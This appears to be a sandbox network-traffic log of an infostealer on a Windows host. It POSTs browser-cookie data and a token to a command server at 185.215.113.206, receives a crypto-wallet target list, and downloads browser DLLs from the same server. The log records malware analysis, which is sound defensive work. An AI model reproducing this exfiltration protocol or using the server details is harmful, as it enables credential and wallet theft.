48 49 44 48 49 45 47 49 2d 2d 0d 0a Data Ascii: ------FCAEBFIJKEBGHIDHIEGIContent-Disposition: form-data; name="token"2e51d32c7f3cb4012e62c6857ef54bfda1e6a011b4cdd7d38616dedc88c3b25c0957e439------FCAEBFIJKEBGHIDHIEGIContent-Disposition: form-data; name="message"fplugins------FCAEBFIJKEBGHIDHIEGI--
Nov 23, 2024 05:02:22.607796907 CET	335	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:22 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 23, 2024 05:02:22.632632017 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBAKEHIEBKJJJJJKKKEG Host: 185.215.113.206 Content-Length: 5787 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 05:02:22.632708073 CET	5787	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 35 31 64 33 Data Ascii: ------FBAKEHIEBKJJJJJKKKEGContent-Disposition: form-data; name="token"2e51d32c7f3cb4012e62c6857ef54bfda1e6a011b4cdd7d38616dedc88c3b25c0957e439------FBAKEHIEBKJJJJJKKKEGContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 23, 2024 05:02:23.606308937 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 05:02:24.076600075 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 05:02:24.522599936 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:24 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 23, 2024 05:02:24.522615910 CET	124	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 23, 2024 05:02:24.524923086 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 05:02:24.525032043 CET	1236	IN	Data Raw: 24 08 89 5c 24 04 89 34 24 e8 ac f6 0a 00 83 ec 0c 85 c0 89 c5 75 23 83 fb 01 75 a1 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 ea fc ff ff 83 ec 0c eb 8a 90 8d 74 26 00 83 fb 01 75 70 e8 c6 e4 0a 00 89 7c 24 08 c7 44 24 04 01 00 00 00 89 34 Data Ascii: $\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q\|$D$4$*\|$D$4$s\|$D$4$'aT$$tL$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49779	185.215.113.206	80	6028	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 05:02:33.798871994 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHDGDHJEGHIDGDHCGCB Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 35 31 64 33 32 63 37 66 33 63 62 34 30 31 32 65 36 32 63 36 38 35 37 65 66 35 34 62 66 64 61 31 65 36 61 30 31 31 62 34 63 64 64 37 64 33 38 36 31 36 64 65 64 63 38 38 63 33 62 32 35 63 30 39 35 37 65 34 33 39 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="token"2e51d32c7f3cb4012e62c6857ef54bfda1e6a011b4cdd7d38616dedc88c3b25c0957e439------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IDHDGDHJEGHIDGDHCGCB--
Nov 23, 2024 05:02:35.712182999 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 05:02:35.824846029 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAFIJKFHIJKKEBGCFBFH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 35 31 64 33 32 63 37 66 33 63 62 34 30 31 32 65 36 32 63 36 38 35 37 65 66 35 34 62 66 64 61 31 65 36 61 30 31 31 62 34 63 64 64 37 64 33 38 36 31 36 64 65 64 63 38 38 63 33 62 32 35 63 30 39 35 37 65 34 33 39 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CAFIJKFHIJKKEBGCFBFHContent-Disposition: form-data; name="token"2e51d32c7f3cb4012e62c6857ef54bfda1e6a011b4cdd7d38616dedc88c3b25c0957e439------CAFIJKFHIJKKEBGCFBFHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CAFIJKFHIJKKEBGCFBFHContent-Disposition: form-data; name="file"------CAFIJKFHIJKKEBGCFBFH--
Nov 23, 2024 05:02:36.781793118 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49819	185.215.113.206	80	6028	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 05:02:42.860027075 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGIJECGDGCBKECAKFBGC Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 05:02:42.860095978 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 35 31 64 33 Data Ascii: ------DGIJECGDGCBKECAKFBGCContent-Disposition: form-data; name="token"2e51d32c7f3cb4012e62c6857ef54bfda1e6a011b4cdd7d38616dedc88c3b25c0957e439------DGIJECGDGCBKECAKFBGCContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 23, 2024 05:02:44.755321026 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 05:02:45.248560905 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 35 31 64 33 32 63 37 66 33 63 62 34 30 31 32 65 36 32 63 36 38 35 37 65 66 35 34 62 66 64 61 31 65 36 61 30 31 31 62 34 63 64 64 37 64 33 38 36 31 36 64 65 64 63 38 38 63 33 62 32 35 63 30 39 35 37 65 34 33 39 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="token"2e51d32c7f3cb4012e62c6857ef54bfda1e6a011b4cdd7d38616dedc88c3b25c0957e439------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="file"------EGIDAAFIEHIEHJKFHCAE--
Nov 23, 2024 05:02:46.192689896 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 05:02:46.772341013 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 05:02:47.275510073 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:47 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 23, 2024 05:02:47.275536060 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 23, 2024 05:02:47.275551081 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 23, 2024 05:02:47.275638103 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 23, 2024 05:02:47.275650024 CET	896	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 23, 2024 05:02:47.275661945 CET	1236	IN	Data Raw: 10 ff 75 14 ff 75 10 53 56 ff d1 83 c4 10 31 c0 83 c4 04 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 50 68 0c 01 00 00 e8 fe f9 07 00 83 c4 04 31 ff 85 c0 74 71 89 c6 8b 5d 08 c7 40 08 01 00 00 00 8b 43 04 89 46 04 8b 03 89 45 f0 8b 43 04 8b 48 Data Ascii: uuSV1^_[]USWVPh1tq]@CFECHut7FKSrQP;KqSPVi^_[]UhV1]Uh6]
Nov 23, 2024 05:02:47.275674105 CET	1236	IN	Data Raw: 83 fe 02 0f 84 e8 00 00 00 8b 45 ec 04 03 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 02 32 14 0f 8b 4d e4 88 51 02 83 fe 03 0f 84 ac 00 00 00 8b 45 ec 04 04 0f b6 c8 8b 7d f0 8a 14 Data Ascii: E}$7$7u]S2MQE}$7$7u]S2MQttE}$7$7u]S2MQt<E}$7$7u]S2]S
Nov 23, 2024 05:02:47.275686026 CET	1236	IN	Data Raw: d2 f6 c2 01 0f 84 9b 00 00 00 66 0f 6f 1d d0 20 08 10 66 0f fe d8 0b 75 cc 8b 45 10 66 0f 6e 2c 30 66 0f 6e 64 30 04 66 0f ef f6 66 0f 60 ee 66 0f 61 ee 66 0f 60 e6 66 0f 61 e6 66 0f 72 f0 17 66 0f 6f 35 e0 20 08 10 66 0f fe c6 f3 0f 5b c0 66 0f Data Ascii: fo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpfpffpfbffrf[fpffpfpffpfbfffpffpUff~MU9UEuUM}]?uu]}
Nov 23, 2024 05:02:47.275698900 CET	1236	IN	Data Raw: 07 88 0c 37 00 cd 8b 45 10 8a 40 06 0f b6 cd 32 04 0f 88 43 06 8b 4d ec e9 2e f7 ff ff cc cc cc 55 89 e5 53 57 56 81 ec 5c 01 00 00 89 8d dc fe ff ff 8b 32 89 95 74 ff ff ff 89 b5 f4 fe ff ff 8b 01 89 85 9c fe ff ff 89 c7 01 f7 8b 52 04 89 95 f8 Data Ascii: 7E@2CM.USWV\2tRAA q$]QD1A@1RQP5}gjM31tQIU]U1P
Nov 23, 2024 05:02:47.283941984 CET	1236	IN	Data Raw: ff ff ff 11 f3 89 f8 01 d0 89 d7 89 45 b4 11 cb 89 5d c8 8b b5 64 ff ff ff 31 de 8b 5d 94 31 c3 89 da 0f a4 f2 10 89 55 b0 0f ac f3 10 89 5d 94 8b 75 ec 01 de 89 75 ec 8b 45 e0 11 d0 89 45 e0 31 c1 31 f7 89 c8 0f a4 f8 01 89 45 8c 0f a4 cf 01 89 Data Ascii: E]d1]1U]uuEE11E}tBP`MBTD]HM}]u1uP1Euu11}tOX EO\H}EE}1M1
Nov 23, 2024 05:02:48.946083069 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 05:02:49.392401934 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:49 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 23, 2024 05:02:50.315912962 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 05:02:50.762026072 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:50 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 23, 2024 05:02:51.437014103 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 05:02:51.883183956 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 